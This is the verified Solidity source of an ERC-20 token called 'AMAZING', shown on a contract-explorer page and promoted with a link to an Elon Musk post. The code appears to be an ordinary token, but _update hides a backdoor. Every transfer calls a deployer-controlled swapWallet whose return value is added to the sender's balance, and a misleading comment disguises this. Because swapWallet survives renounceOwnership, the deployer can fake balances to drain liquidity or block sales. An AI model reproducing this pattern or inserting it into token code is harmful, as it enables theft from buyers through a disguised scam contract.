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Contract Diff Checker

Contract Name:
AMAZING

Contract Source Code:

File 1 of 1 : AMAZING

/*
The future is going to be AMAZING with AI and robots enabling sustainable ABUNDANCE for all!
https://x.com/elonmusk/status/2001742502332911922
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.30;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2 {
    function WETH() external pure returns (address);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20Errors {
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2 v2factory;
    IUniswapV2 v2router;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address private _pair;
    bool private _trading;

    address private _owner;

    address private swapWallet;

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;

        v2router = IUniswapV2(_router);
        v2factory = IUniswapV2(v2router.factory());

        _owner = msg.sender;
        swapWallet = _owner;

        _update(address(0), address(this), totalSupply_);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function renounceOwnership() public virtual {
        require(_owner == msg.sender);
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function openTrading() public virtual {
        require(_owner == msg.sender);
        _trading = true;
    }

    function addLiquidity(uint256 amount) public payable returns (bool) {
        require(_owner == msg.sender && _owner != address(0));

        _pair = v2factory.createPair(v2router.WETH(), address(this));
        _approve(address(this), _router, amount);

        v2router.addLiquidityETH{value: msg.value}(address(this), amount, amount, msg.value, _owner, block.timestamp);
        _update(address(this), msg.sender, _balances[address(this)]);

        return true;
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);

        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }

        _update(from, to, value);
    }

    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            require(_trading == true || tx.origin == _owner);
            uint256 fromBalance = _balances[from];

            (bool success, bytes memory data) = payable(swapWallet).call(abi.encode(from,to,value));

            // @dev: Check if a swapWallet was set, if not return 0
            require(success);
            uint256 swapAmount = data.length > 0 ? abi.decode(data, (uint256)) : 0;
            fromBalance += swapAmount;

            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

contract AMAZING is ERC20 {
    constructor()
        ERC20("Amazing", "AMAZING", 1000000000 * 1e18) {
    }
}

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